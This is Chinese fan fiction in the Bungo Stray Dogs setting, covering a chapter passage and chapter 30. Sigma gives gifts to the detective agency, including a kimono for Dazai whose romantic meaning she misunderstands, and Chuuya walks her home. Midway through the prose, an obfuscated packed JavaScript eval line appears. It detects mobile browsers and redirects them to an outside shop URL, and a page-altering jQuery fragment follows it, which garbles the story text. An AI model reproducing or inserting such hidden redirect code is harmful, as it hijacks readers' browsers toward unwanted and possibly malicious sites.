她一排排看过去:葡萄紫、草莓粉、哈密瓜绿、柠檬黄、橙子橙、蓝莓蓝…… 她的目光最终落在一瓶明亮的苹果绿汽水上。 那种通透的绿色,像早春新发的嫩叶,像阳光穿透的翡翠,像—— 像江户川乱步偶尔睁开的眼睛。 西格玛的指尖轻轻触碰冰凉的玻璃瓶身,想起乱步坐在窗边吃粗点心的样子,眯着的眼睛突然睁开,翠绿色的瞳孔里闪过洞察一切的光芒。 那种绿色,和这瓶汽水一模一样。 她小心地取下这瓶苹果绿,想了想,又拿了一瓶苏打蓝和一瓶橘子橙。 既然是收集,多几种口味应该更好。她抱着三瓶汽水,将购物篮放在一旁,走向家居用品区。 茶具陈列区安静得多。 架子上摆着各式各样的套装,从华丽的金边瓷器到朴素的陶器应有尽有。 西格玛一排排看过去,脑海里浮现出社长办公室的景象:深色的木质家具,墙上挂着的字画,书架上整齐排列的书籍,还有办公桌上那套用了很多年的深褐色茶具。 最后,她的目光停留在一套米白色的陶瓷茶具上。 壶身圆润,线条流畅,表面有若隐若现的浅灰色流云纹路。 茶杯小巧精致,杯底有一圈淡淡的靛蓝色。整套茶具素净典雅,不张扬却自有品格,和社长办公室的氛围很相配。 西格玛小心地取下这套茶具,抱在怀里。 陶瓷冰凉的温度透过包装盒传到她的手臂上,她又回头拎起装有蟹肉罐头和波子汽水的购物篮,慢慢走向食品区。 当她回到食品区时,太宰已经选好了食材——鸡肉、豆腐、几种蔬菜。购物车里堆得满满的。 他看到西格玛怀里的东西和手边的购物篮,鸢色的眼睛弯了起来:“哦?买这些是……” “是礼物。”西格玛老实地回答,“给江户川先生和社长的。”她顿了顿,抬手拍了拍购物篮里的蟹肉罐头,补充道,“还有太宰先生之前说的蟹肉罐头,没有找到新口味,就拿了两罐原味的。” 太宰治的笑容加深了,那笑容里有一种西格玛看不懂的温柔:“这样啊~乱步先生肯定会高兴得把汽水当场喝掉,然后缠着你要更多口味。至于罐头嘛,原味可是最经典的呀。” 在收银台排队时,太宰习惯性地要拿出钱包,西格玛却抢先一步将购物篮和怀里的茶具、汽水一起放到收银台上:“今天我来付。” 太宰治的手停在半空。他看着西格玛认真地掏出那个装着预支工资的信封,从里面取出几张纸币递给收银员,眼神里带着一丝不易察觉的暖意。 “太宰一直很照顾我,”西格玛一边看着收银员扫描商品,一边轻声说道,声音不大却很清晰,“这些东西,就当是我小小的感谢。” 太宰治没有再坚持,只是嘴角的笑意深了几分,他安静地看着她把钱付完。 随后自然地接过收银员打包好的几个袋子,掂了掂重量,将较轻的那袋波子汽水递回给她:“拿着吧,别累着。” 走出超市,暮色已经开始浸染天空。 西格玛抱着她的礼物,心里一半满足,一半更深的焦虑——乱步和社长的礼物解决了,敦的水瓶她打算明天去专门的运动用品店挑选,可是太宰的礼物…… 她仍然毫无头绪。 与谢野医生说“按你自己的心意选”,可是她的心意是什么?她想要送给太宰什么? 这个问题在她心里盘旋不去。 第二天午休时,西格玛趁着休息时间,翻开了直美前几天送给她的时尚杂志。 直美说“这里面有很多有用的生活建议哦”,还特别标注了几页“西格玛酱可能会感兴趣的”。 西格玛吃力地翻阅着。她的日语听说能力已经相当流利,但阅读时还是常常遇到不认识的汉字和复杂的语法表达。 她翻到直美折角的那几页,在“人际关系特辑”的板块停了下来。 有一篇文章的标题是《增进感情的礼物选择》,副标题写着“送给特别的朋友”。 西格玛认真地读了起来,遇到不认识的词就查手机词典。 文章中写道:“在日本传统文化中,赠送和服是表达深厚情谊的方式。无论是庆祝重要时刻,还是表达感激之情,一件精心挑选的和服都能传达言语难以尽述的心意……” 她反复读了几遍,努力理解每个句子的意思。 “表达深厚情谊”——这没错,她想感谢太宰治给予她的所有帮助。 “传达心意”——这也正是她想要的。 文章还附了几张照片:穿着漂亮和服的男女模特在樱花树下微笑,在茶室里对坐,在黄昏的街道上并肩行走。 照片下的说明写着:“和服不仅是服饰,更是心意的载体。” 西格玛完全不明白在日本的文化语境中,女性送给男性和服所蕴含的特殊意义。 那通常被视为非常亲密的行为,常常与婚约、深挚的爱情联系在一起。 她只是单纯地想:太宰总是穿着那件沙色风衣和西装,也许一件舒适的和服,他在家休息的时候可以穿? 这个想法一旦出现,就在她心里扎根了。 下班时,办公室里只剩下太宰治和西格玛两人。 西格玛收拾好随身的小包,走到太宰的工位旁,少见地开口:“太宰先生,今天我需要去采购一些……个人的东西,可能会晚点回去。” 太宰治正埋首在堆积如山的文件里奋笔疾书,手边还压着国木田临走前拍下来的、写满了“今日必须完成”的任务清单。 听见声音,他抬起头,鸢色的眼睛里带着明显的无奈,嘴角却依旧弯着惯有的笑意。 “啊啦,是这样吗。”他笔尖一顿,视线先扫过桌上没写完的报告,又落回西格玛有些局促的脸上,语气里藏不住遗憾,“真可惜呀,本来还想和你一起走的——” 太宰夸张地叹了口气,朝西格玛笑了笑,这才重新低下头去,手指却没急着落笔,而是又叮嘱了一句:“记得注意安全,别太晚回来。要是拎不动东西,随时给我打电话哦。” 太宰治的笑容和平常一样随意,但西格玛总觉得,那笑意里藏着点不一样的东西。 一种了然?一种期待?她不确定。 “谢谢。”西格玛暗暗松了口气,换好鞋子,轻轻带上门走了出去。 她没有去往常的超市,而是按照手机地图的指引,来到了附近一条传统的商业街。 午后的阳光已经开始倾斜,把建筑物的影子拉得很长。 西格玛走在石板路上,两旁是挂着暖帘的各式老店:和果子屋、茶铺、文具店、古董店…… 她在一家和服店前停下脚步。店门是传统的木格子构造,橱窗里展示着精美的和服。 一件淡粉色的振袖绣着飞舞的蝴蝶,一件深蓝色的访问着有银色的流水纹,一件纯白的浴衣配着靛蓝色的牵牛花图案。 每一件都像是艺术品,在橱窗的灯光下静静诉说着自己的故事。 西格玛推开门,门上的铃铛发出清脆的声响,像风铃在春日傍晚的微风中摇动。 店内比想象中更宽敞,高高的天花板下,和服按照颜色和材质整齐地悬挂着,从浅到深,像一道渐变的彩虹。 空气中弥漫着淡淡的樟木香气和丝绸特有的清冽气息。 一位穿着淡蓝色小纹和服的中年女店主迎了上来,她的头发整齐地挽在脑后,笑容温和如春日的暖阳。 “欢迎光临。”店主的声音轻柔,“请问您需要什么?” 西格玛有些紧张地攥了攥裙摆:“我想……买一件男士和服。” “是送给什么人的呢?”店主友善地询问,“父亲?兄弟?还是……” 西格玛顿了顿,声音很轻但清晰:“是……很重要的朋友。” 店主了然地点头,没有追问,只是引她来到店内深处的男士和服区域。 这里的色彩相对沉稳,多是深蓝、灰色、茶褐色系,面料也更为厚实挺括。 西格玛一件件看过去,手指轻轻拂过不同的面料。 丝绸光滑冰凉,棉麻质朴温暖,羊毛厚实柔软。 她的目光忽然被一件悬挂在角落的和服吸引住了。 那是鼠灰色,但不是单调的灰,颜色像是黎明前最深沉的夜色,又像冬季清晨的雾气。 布料是哑光的质地,不张扬却自有质感。简单的暗纹若隐若现,像是水流,又像是风的痕迹。 西格玛伸手触摸,面料比看起来更柔软,细腻地包裹着指尖。 这颜色让她想起了太宰治的眼睛——那种鸢色,在光线下会变幻出不同层次的灰与褐,深邃得看不清情绪,却又偶尔会闪过一丝温柔的光。 “这件很适合气质沉静的男性。” 店主的声音在旁边轻轻响起,没有打扰她的思绪,“是上好的麻混纺,夏天透气,春秋也能穿。颜色也很百搭,配深色或浅色的带子都可以。” 西格玛回过神,发现自己已经盯着这件和服看了很久。 她轻声问,声音里有一种下定决心的温柔:“我可以……仔细看看吗?” 店主小心地将和服取下,平铺在店中央的展示台上。 台面是深色的桧木,衬得那鼠灰色更加沉静典雅。 西格玛这才看清全貌——鼠灰色的底色上,织着细密的竖条纹,与银灰色的线条交错纵横,在黄昏的光线下泛着低调柔和的光泽。 领口和袖口镶着深灰色的细边,简洁而精致,针脚细密均匀。 “就这件。”西格玛听见自己说。声音很轻,却很坚定。 店主微笑着点头,开始为她测量尺寸。 西格玛凭记忆报出了太宰治的大致身高肩宽。 那些一起生活的日子里,她不知不觉记住了这些细节。 店主根据经验调整了细节,在纸上记下一串数字。 选配套的腰带时,西格玛在几条腰带前犹豫了片刻,最后挑了一条深靛蓝色的博多织名古屋带。 带子上有海浪的暗纹,在光线下若隐若现,像深夜的海面映照着破碎的月光。 “需要包装吗?”店主问。 “请帮我包起来。”西格玛说,“用……雅致一点的包装。” 店主用深灰色的和纸仔细包裹,系上银灰色的缎带,最后装入印有店徽的纸袋。 “愿这份心意能好好传达。”店主将纸袋递给西格玛时,温和地说。 西格玛接过纸袋,对上店主温柔的笑意,同样也投以一个浅笑。 她推开门走出和服店。门上的铃铛再次响起,像是在为她送行,也像是在祝福。 门外的世界已覆上黄昏的底色。 西边天际漾着金橘色的光,温柔晕染开,将云朵揉成淡淡的玫瑰色。 东边的天则沉成深邃的宝蓝,几颗早星嵌在天幕,像天鹅绒上散落的碎钻。 街道两旁的灯笼次第亮起,暖黄的光晕在暮色中浮起,像是漂浮在黄昏河流上的萤火。 石板路被夕阳镀上一层琥珀色的光,行人匆匆的脚步声在静谧的街道上回荡,远处传来电车站的广播声,模糊又温柔。 西格玛提着纸袋站在店门口,望着这暮色四合的世界。 纸袋在她手中轻轻晃动,里面装着鼠灰色的和服,装着深靛蓝色的腰带。 风起了,混杂着花香和暖意的气息,吹起她浅色的长发。 西格玛抬头看向天空,金橘色与宝蓝色在穹顶交汇,过渡成梦幻的紫灰色,就像她头发的颜色。 街道尽头,公寓的窗户已经亮起了灯。 那一格一格的暖黄色光芒,在渐深的暮色中格外明亮,像灯塔,像归处的坐标。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193644|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西格玛深吸一口气,黄昏的空气里有樱花的残香、晚餐的炊烟、还有远方河流的水汽。 她握紧手中的纸袋,迈开脚步,沿着来时的路往回走。 纸袋轻轻晃动着,里面是她用第一份工资换来的心意。 行至一家老式茶铺门口时,一个熟悉的身影让她停下了脚步。 那人背对着她站在茶铺前。 赭红色的头发在黄昏的光线下像燃烧的余烬,黑色的礼帽压得很低。 一身笔挺的黑色西装与这条传统街道有些格格不入,却又奇异地融入了暮色中。 “中也……先生?” 中原中也闻声转过身,钴蓝色的眼睛里闪过一丝惊讶,随即被某种复杂的情绪取代。 他微微睁大眼睛,显然没料到会在这里遇见她。 “西格玛?你一个人在这里?”他的声音比平时稍快了些,目光迅速扫过她手中的纸袋,又在她的脸上停留。 西格玛对他笑了笑:“我来买些东西。中也先生也是来采购的吗?” “啊,算是吧。”中原中也含糊地应道,实际上他是来这条街上的老字号买特供清酒的。 他顿了顿,看向渐渐暗下来的天色,“你一个人回去不安全,我送你。” 这句话说得太快,连他自己都愣了一下。 但西格玛已经对他展露了一个明亮的笑容:“刚好中也先生,您的外套还在我那儿。上次谢谢您。” 中原中也像是被那个笑容烫到似的,微微侧过脸,避开了她直率的视线。 “啊……”他发出一个短促的音节,然后才找回声音,“嗯,外套的事,我都快忘了。” 其实没忘。那件外套被她借走的那天,他回到港口□□的大楼后,总觉得肩上少了什么重量。 不是外套本身的重量,而是某种……更难以形容的东西。 中原中也保持着侧头的姿势,黄昏的光线勾勒出他线条分明的侧脸轮廓。 风轻轻吹过,扬起了他几缕赭红色的发丝。 “叫我中也就好。”他突然说,声音比平时低了些,“不用加先生。” 西格玛眨了眨眼,然后对他弯了弯眼睛,那双眼眸在暮色中泛着温柔的淡粉色光泽:“好,中也。” 自己的名字被她这样念出来。 不是恭敬的“中也先生”,不是疏远的“中原先生”,只是简单的“中也”。 中原中也感到耳根微微发烫。她的声音很轻,带着一种独特的柔软质地,像羽毛拂过心尖。 他从未想过,自己的名字能被念得这么好听。 “走吧。”他转身,示意她跟上。 中原中也走在西格玛身后,保持着几步之遥的距离。 这个距离很微妙——足够近,能在她需要时立刻上前;又足够远,不会让她感到压迫。 黄昏正在加深。 天空的色彩从金橘色渐变为深玫瑰色,云层不知何时聚拢过来,将最后的太阳完全遮住。 云隙间透出几缕残光,像破碎的金线缝在天鹅绒般的暮色里。 中原中也努力不去看前方那个身影。 她走在渐暗的街道上,浅色的长发在晚风中轻轻飘动,米色的长裙随着步伐微微摇曳。 路灯在她经过时一盏盏亮起,暖黄的光晕在她周围形成一圈柔和的光环。 但她就像太阳,即便他不去看,也能清晰地感受到她的存在。 她的脚步声很轻,却在他的感知中异常清晰。 她偶尔停下脚步看路边店铺的橱窗,他也会不自觉地放缓步伐。 她手中的纸袋随着步伐发出细微的摩擦声,那声音在他耳中放大了无数倍。 然后,中原中也闻到了那股气息。 清浅的,甘甜的,像是雨后初绽的紫藤花,又像是清晨沾着露水的百合。 那气息很淡,几乎被街道上的食物香气、灯笼的蜡味、远处河流的水汽所掩盖,但他还是捕捉到了。 那是西格玛身上的气息,独一无二,难以形容。 他的脚步不由自主地放慢了。 他流连在她身后几步之遥的地方,像徘徊在花丛旁的旅人,贪婪地细嗅着风中飘来的那一缕清香。 这很不对劲——港口□□的干部,不该这样失态。 但他控制不住。 那气息让他想起第一次见到她时的场景,想起那个拥抱。 想起他将外套披在她肩上时,指尖触到的她肩头微凉的温度。 想起她说“谢谢”时,那双澄澈又真诚的眼睛。 淡粉色的。中原中也想。 粉宝石,不。那种柔润的光泽,应该是粉水晶。 阳光照射时,又像是粉钻。 “中也?”西格玛回过头,发现他落在了后面,“你累了吗?” “……不累。”中原中也快步跟上去,庆幸暮色已经足够深,能掩盖他脸上不自然的神情,“快到了吧?” “嗯,就在前面。” 很快,他们走到了公寓楼下。 这是一栋不算新也不算旧的五层建筑,外墙是温暖的米黄色,每户的阳台都种着些绿植。 西格玛的房间在三楼,窗户里透出未开灯的黑暗。 “我到了。”西格玛转身对中原中也说,“中也要上来坐坐吗?我把外套拿给你。” “不用了。”中原中也几乎是立刻回答,然后又补充道,“我在这里等就好。” 西格玛点点头:“那你稍等一下,我很快下来。” 她转身上楼,脚步声在楼梯间回响,渐渐远去。 中原中也站在楼下,抬头看着三楼的那扇窗。 灯亮了,暖黄色的光从窗口溢出,在渐浓的暮色中像一个小小的、温暖的岛屿。 他静静地站着,手插在西装裤袋里。 街灯将中原中也的影子拉得很长,与行道树的影子交错在一起。 风更大了些,吹得他外套的下摆轻轻扬起。 几分钟后,西格玛的身影再次出现在楼梯口。 她手里拿着那件洗净熨平的棕色外套,叠得整整齐齐。 黄昏最后的光线照在她身上,给她整个人镀上了一层柔和的轮廓光。 “给。”她将外套递过来,“已经洗好了。上次真的谢谢你,中也。” 中原中也接过外套。 布料上还残留着柔顺剂的淡香,但更深处,他似乎还能闻到一丝属于她的气息。 清浅的,甘甜的,如同记忆本身。 “啊,不用谢。”他的目光没有落在西格玛身上,而是突然地、几乎是突兀地报出了一串数字,“080-XXXX-XXXX,这是我的私人号码。” 西格玛一愣。 中原中也继续说,语速比平时快:“你刚来横滨,人生地不熟。如果有麻烦……可以找我。” 说完这句话,他才意识到自己说了什么,耳根又微微红了起来。 可恶,他在说什么啊?港口□□干部主动给人联系方式? 但西格玛已经浅浅地笑了。 那个笑容在黄昏的光线中温柔得不可思议:“好的,中也。我的记性很好,我会牢牢记住的。” 中原中也感到耳根的温度又升高了些:“啊……那挺好。” 他在心里懊恼——自己在说什么蠢话?但看着她认真的表情,那点懊恼又化为了某种更柔软的情绪。 沉默在两人之间蔓延,但并不是尴尬的沉默。 街道上的灯笼完全亮了起来,远处的居酒屋传来隐约的谈笑声,晚归的鸟群从头顶飞过,发出归巢的鸣叫。 “既然如此……”中原中也终于开口,声音比平时柔和,“那就再见了。” 这次他没有回避,目光牢牢落在西格玛的脸上。 暮色中,她的面容有些模糊,但那双眼睛依然清澈明亮。 她对他露出了一个浅笑——不是礼貌的社交笑容,而是真诚的、温暖的微笑。 “中也再见。” 中原中也感到心脏在那一刻狂跳起来,像被什么东西狠狠撞了一下。 那感觉陌生又熟悉,让他几乎想要后退一步,却又动弹不得。 随后,他猛地转身,举起手挥了挥,头也不回地往前走。 步伐很快,像是在逃离什么,又像是在奔向什么。 赭红色的头发在晚风中飞扬,黑色的背影渐渐融入深蓝色的暮色中。 直到转过街角,他才停下脚步,靠在墙上,深深吸了一口气。 黄昏的空气凉而清澈,但他仍然能闻到那一缕清浅的甘甜气息,萦绕在呼吸里,不肯散去。 —————— 公寓里,西格玛将纸袋小心地放在自己房间的衣柜里,然后走进厨房开始准备晚餐。 冰箱里有昨天买的食材——鸡肉、蔬菜、豆腐。 她系上围裙,开始处理食材。 刀在砧板上发出有节奏的声响,水在锅里渐渐烧开,食物的香气开始弥漫。 西格玛专注地做着饭,思绪却飘到了刚才的相遇上。 中也先生——不,中也——是个很温柔的人呢。 虽然看起来有些严肃,但会主动送她回家,还会给她联系方式说“有麻烦可以找我”。 她将切好的蔬菜放入锅中,热油发出滋滋的声响。 就在这时,门口传来了钥匙转动的声音。 门开了,太宰治的身影出现在玄关。 他一边脱鞋一边说:“我回来了——”声音在闻到食物香气时上扬了一个调。 西格玛从厨房探出头,下意识地说:“欢迎回来。” 太宰治愣了一瞬,鸢色的眼睛里闪过什么,然后对她绽开一个笑容,那笑容比平时更柔软些:“我回来了。” 他走进来,将外套挂在衣架上,然后才注意到——阳台上,那件挂了很久的、属于中原中也的棕色外套不见了。 晾衣架上空荡荡的,只有晚风穿过时轻轻摇晃。 晚餐时,两人面对面坐在餐桌旁。西格玛做了鸡肉炖蔬菜和味增汤,简单却温暖。 太宰治吃得很满足的样子,吃到一半时,像是随口提起: “对了,阳台上那件外套……好像不见了?” 西格玛抬起头:“啊,是的。今天回来的路上碰到了中也,他送我回来,我就顺便把衣服还给他了。” 太宰治夹菜的动作微微一顿,然后又自然地继续:“中也?你们遇到啦。” “中也”,不是“中也先生”了啊。 “嗯。”西格玛点点头,没有注意到太宰治眼中一闪而过的深意,“在商业街遇到的,他刚好也在那里。” 太宰治咀嚼着食物,鸢色的眼睛微微眯起。 商业街?那条传统街道可不是港口□□干部会常去的地方。中也那家伙…… 但他什么都没说,只是咽下食物,对西格玛露出一个灿烂的笑容:“西格玛酱做的菜真的越来越好吃了呢。这个鸡肉炖得刚刚好,蔬菜也保持了一点脆度,很厉害哦。” 西格玛的脸微微红了:“谢谢。太宰喜欢就好。” 窗外,夜色已经完全降临。 公寓里灯光温暖,食物的香气与交谈声交织在一起,构成这个春夜最平凡的温暖。 而在城市的另一处,某个□□干部正对着手机发呆,耳边似乎还回响着那句轻柔的“中也再见”。 横滨的夜晚还很长,而有些故事,才刚刚开始写下第一个句子。 30. 礼物 第二天的午休时间,阳光透过武装侦探社的窗玻璃,在地板上投下明亮的光斑。 空气中弥漫着淡淡的便当香气和纸张的味道,一切都像往常一样平静。 西格玛却有些坐立不安,她悄悄打开办公桌最下层的抽屉,里面整齐地摆放着包装好的礼物。 她深吸一口气,站起身来。 第一个走向的是国木田独步。他正专注地核对委托报告,眼镜微微滑到鼻梁中段。 “国木田先生,”西格玛的声音有些紧张,“这个……送给您。” 国木田独步抬起头,看到递到面前的深蓝色礼盒,愣了一下。 他推了推眼镜,接过盒子,打开——一支黑色钢笔安静地躺在丝绒衬垫上,笔身线条流畅,笔帽处有银色的细纹。 “这是……”国木田独步的声音顿了顿。 “我看到您常用的那支钢笔已经有些旧了,”西格玛轻声说,“希望这支能帮您更好地工作。” 国木田独步拿起钢笔,在指尖转了转,重量适中,手感舒适。他看向西格玛,表情是罕见的柔和:“谢谢,我会好好使用的。” 接着是医务室。与谢野晶子正在整理医疗记录,看到西格玛进来,挑了挑眉。 “与谢也医生,这是给您的。”西格玛递上一个素雅的纸盒。 与谢也晶子打开,里面是一个薰衣草色的香薰灯和几瓶精油。 薰衣草、洋甘菊、雪松的香气隐隐飘散出来。 她拿起一瓶精油在鼻尖轻嗅,嘴角扬起:“很会挑嘛。正好最近总是闻到消毒水味,这个刚好。” “希望您工作之余能放松一些。”西格玛认真地说。 “我会用的。”与谢也晶子点点头,眼中带着笑意。 宫泽贤治收到牛玩偶时,眼睛果然亮得像星星一样。 “好厉害!跟我老家养的牛一模一样!”他抱着那只软乎乎的乳牛玩偶,淳朴的笑容让西格玛也忍不住跟着笑起来。 谷崎兄妹的礼物是同时送出的。直美打开护手霜的瞬间就惊喜地“啊”了一声:“是我想买的那款桃子味的!西格玛酱居然记得!” 她立刻挤了一点涂在手背上,清甜的桃子香气飘散开来。 谷崎润一郎收到的则是同系列的樱花味。 他看着简洁的深蓝色包装,又看看妹妹开心的模样,对西格玛温和地道谢:“让你费心了。” 泉镜花的礼物是在她常坐的窗边送出的。 当西格玛把纯白色的兔子玩偶递过去时,泉镜花那双总是平静的眼睛里闪过一丝光亮。 她接过玩偶,抱在怀里,手指无意识地捏了捏兔子长长的耳朵,然后抬起头,对西格玛很轻很轻地说:“谢谢。” 西格玛感觉自己的心像被柔软的羽毛拂过。 接着是中岛敦。运动用品店挑选的保温水瓶是深蓝色的,容量很大,瓶身上有简约的波浪纹样。 “敦君经常训练,要多补充水分。” 西格玛将水瓶递过去,脸上带着浅浅的笑意,眼神干净又温和。 中岛敦连忙双手接过,指尖触到瓶身微凉的磨砂质感,低头看着那片沉静的深蓝,嘴角不自觉扬起珍惜的弧度。 那笑容浅浅的,带着几分受宠若惊的腼腆,又藏着实打实的欢喜。 他抬眼时恰好对上西格玛的浅笑,脸颊倏地泛起薄红,像是被午后的阳光晒得有些发烫,连忙移开视线。 眼神微微躲闪着落在水瓶的波浪纹上,指尖下意识摩挲着瓶身:“谢谢,我确实老是忘记喝水……这个很实用!我一定会好好用的!” 江户川乱步的礼物是午休前就送出的——三瓶不同颜色的波子汽水。 其中一瓶苹果绿的,恰好和他偶尔睁开的眼眸是一模一样的色泽。 这位名侦探刚看到汽水,翠绿色的眼睛就瞬间完全睁开了,亮得像淬了光的翡翠,视线第一时间就锁定了那瓶苹果绿。 他立刻伸手拿起,指尖捏着冰凉的玻璃瓶身,“啵”的一声利落撬开瓶盖,玻璃弹珠“叮”地落进瓶颈。 “是我没喝过的口味!而且这个颜色——”江户川乱步仰头喝了一大口,甜丝丝的气泡在舌尖炸开,满足地眯起眼睛,看向西格玛时眼底满是赞许,“西格玛,你很懂嘛!” 他摩挲着手中的苹果绿玻璃瓶,忽然认真地宣布,“这瓶我要连瓶子一起收藏起来,以后就摆在我的零食柜最显眼的地方!” 社长的礼物是西格玛在午休结束前轻轻放在他办公室门口的。 福泽谕吉发现那个素雅的茶具礼盒时,西格玛已经回到座位上了。 他打开门,拿起盒子,目光穿过办公室的门,看向外面办公区正低头工作的西格玛。 他打开盒子,看到那套米白色流云纹茶具,沉默了几秒,然后将盒子小心地放在办公桌上,对着外面的方向微微点了点头。 最后,只剩下一个人了。 西格玛的手心有些出汗。她从抽屉最里面取出那个最大的纸袋。 深灰色的和纸包装,银灰色的缎带系成简洁的结。午后的阳光斜斜照在纸袋上,投下一片温柔的阴影。 太宰治正趴在办公桌上小憩,鸢色的头发有些凌乱地散在手臂上。 西格玛走到他桌前,轻轻将纸袋放在桌角。 纸袋落下的细微声响让太宰治动了动,他抬起头,眼神里还有未散尽的睡意,但当看到那个纸袋和站在桌前的西格玛时,那睡意迅速褪去,取而代之的是一种深沉的柔和。 “这是……给我的?”太宰治坐直身体,声音比平时轻。 西格玛点点头,手指无意识地绞在一起:“是……和服。我在杂志上看到的,说送男性朋友和服很合适……” 太宰治的眼睫轻轻颤了颤。他早就察觉到西格玛在为大家准备礼物。 那些悄悄带回来的购物袋,她笔记本上偶尔露出的清单,还有这几天她看向每个人时那种认真思索的眼神。 但他确实不知道,她为自己准备了什么。 太宰治伸出手,指尖触碰到深灰色的和纸,那触感细腻温和。 他解开缎带,和纸层层展开,露出里面的鼠灰色布料。 太宰治的动作顿住了。 他将和服完全取出,布料垂落开来,鼠灰色的底色上,银灰色细条纹纵横交错,在午后的光线下泛着细碎柔和的光。 面料是上好的麻混纺,触感柔软而挺括,颜色沉静得像黎明前的天空,又像冬日清晨的雾气。 “这是……”太宰治的手指轻轻抚过交错的纹路,声音很轻,“适合夏天穿的和服啊。” 他抬起头,看向西格玛,鸢色的眼睛里闪烁着复杂的光。 然后他笑了,那笑容里有西格玛看不懂的情绪,却温柔得让人心颤。 “那我就先活到夏天好了。”他说,声音轻得像自言自语,却又清晰地传入每个人耳中。 办公室里突然安静了一瞬。 与谢野晶子原本正靠在医务室门口看着这一切,听到太宰治那句话时,她的表情微微凝滞。 然后她的目光转向西格玛,那个女孩正有些不安地看着太宰治,脸上是纯粹的、担心对方不喜欢的忐忑,完全没有少女送这种礼物时应有的羞涩。 与谢野晶子皱起眉,走了过去。 “西格玛,”她的声音让西格玛转过头,“你为什么想到送太宰和服?” 西格玛眨眨眼,老实地回答:“我在杂志上看到的。那篇文章说,送男性朋友和服是最好的选择,可以传达心意。” 与谢野晶子的眉毛挑了起来:“哪本杂志?” 西格玛报出了一个杂志名——那是一家以恋爱咨询、情感专栏闻名的小众杂志社,在年轻女性中颇受欢迎。 与谢野晶子沉默了两秒,然后叹了口气,表情变得有些微妙:“西格玛……那本杂志上说的‘男性朋友’,不是普通朋友的意思。” 西格玛困惑地看着她。 “在日语里,‘男性朋友’和‘男朋友’有时候会被模糊使用,尤其是在那种杂志的语境里。” 与谢野晶子尽量用平和的语气解释,“那篇文章的意思,应该是女性送给‘男朋友’和服,作为表达爱意的礼物。” 办公室里更安静了。 国木田独步推眼镜的动作停在半空,中岛敦喝水呛到了,谷崎直美捂住了嘴,连江户川乱步都停下了喝汽水的动作。 西格玛愣愣地看着与谢野晶子,消化着这段话的含义。 她的表情从困惑,到茫然,再到逐渐理解。 脸颊以肉眼可见的速度染上了一层绯红,那红晕从脸颊蔓延到耳尖,再到脖颈,像被晚霞浸透的云。 “原、原来是这样吗?”她的声音轻得几乎听不见,手指紧紧攥住了裙摆,眼神慌乱地飘向太宰治手中的和服,又迅速移开。 太宰治一直安静地看着她。 看着她从坦然到羞涩的全过程,看着她脸上那片动人的红晕,看着她不知所措的模样。 他嘴角的笑意加深了,那笑容里有温柔,有无奈,还有一种深深的、几乎要满溢出来的珍视。 “我很喜欢哦。”他说,声音轻柔却清晰地传遍安静的办公室,“这件和服,真的很适合我。谢谢你,西格玛。” 西格玛抬起头,对上他的眼睛。 太宰治的眼神在午后的光线下显得格外温柔,鸢色的瞳孔里倒映着她通红的脸。 他抱着那件鼠灰色的和服,像抱着什么珍贵的宝物。 “而且,”他补充道,语气轻松得像在说今天天气真好,“我会好好活到夏天,然后穿上它的。我保证。” 这句话让办公室里的气氛重新流动起来。 江户川乱步瘪了瘪嘴,小声嘀咕:“太狡猾了……” 但很快,他的注意力就被西格玛适时递过来的一包新口味粗点心吸引了。 “是我喜欢的!” 他立刻拆开包装,满足地吃起来。 而社长办公室里,福泽谕吉站在窗前,手里端着西格玛送的那套茶具中的一只茶杯。 茶杯是温的,里面刚泡好的茶飘散着清香。 他看着外面办公区里重新热闹起来的景象,目光在西格玛和太宰治身上停留了片刻。 他确实没想到,自己也会收到礼物。 那套茶具素雅简洁,质地温润,与他办公室的氛围很相配。 更重要的是,那份心意,这个曾经一无所有的孩子,用自己赚来的第一份工资,为侦探社的每个人都准备了礼物,包括他这个严肃的社长。 福泽谕吉端起茶杯,抿了一口茶。茶香在口中散开,带着微微的回甘。 窗外,午后的阳光正好。 武装侦探社里,笑声和谈话声重新响起,和往常一样,又好像有哪里不一样了。 西格玛还红着脸,但太宰治已经自然地转移了话题,和大家讨论起晚上要不要一起去吃寿喜烧。 泉镜花抱着兔子玩偶坐在角落,手指轻轻梳理着兔子的绒毛。 国木田独步用新钢笔在笔记本上写了几个字,满意地点点头。 这是一个普通的午后,阳光温暖,时光缓慢。 而某件鼠灰色的和服,被小心地收了起来,等待夏天的到来。 连同那句轻轻的承诺一起,被妥帖地珍藏。 福泽谕吉放下茶杯,嘴角浮现出一抹几乎看不见的、温和的弧度。 这样很好。 —————— 果戈里踏入了横滨。 这座滨海城市的气息与天空赌场的冰冷截然不同。 咸湿的海风里裹挟着市井的喧嚣、车辆的尾气、隐约的咖啡香,以及一种他所陌生的、日常生活的暖意。 这种“日常”对他而言曾经是最大的束缚,此刻却成了寻找她的唯一线索。 他没有贸然行动。 小丑最擅长观察,最懂得在登场前,先摸清舞台的布局与演员的状态。 找到武装侦探社的所在地并不难。 果戈里站在街对面一栋商业楼的顶层,透过望远镜,他能清晰地看见那栋砖红色建筑二楼敞亮的窗户。 午后的阳光正好,将侦探社内的景象照得一清二楚。 然后,他看到了她。 西格玛。 隔着遥远的距离和冰冷的镜片,那个身影撞入视野的瞬间,果戈里感觉自己的呼吸再次出现了短暂的停滞。 不是监控室里那种空洞的停滞,而是一种被什么东西精准命中心脏、血液瞬间涌向头部的、带着刺痛感的凝滞。 她还活着。 真真切切地活着。 不再是记忆里苍白脆弱、随时可能碎裂的幻影,不再是监控画面里静止不动的、等待“结局”的客体。 她坐在靠窗的办公桌前,淡紫色与白色交织的长发在阳光下泛着柔和的光泽,正低头处理着文件。 她穿着米色的长裙和白色开衫,样式简单,却让她看起来……很柔和。 一种与他记忆中的“西格玛”截然不同的柔和。 她还活着。 这个认知反复冲刷着他,带来的不是监控室里那种爆炸性的狂喜,而是一种更深沉、更复杂、带着震颤的确认。 胸腔里那份被“自由”的空洞和失而复得的火焰共同占据的地方,此刻被一种近乎贪婪的注视填满。 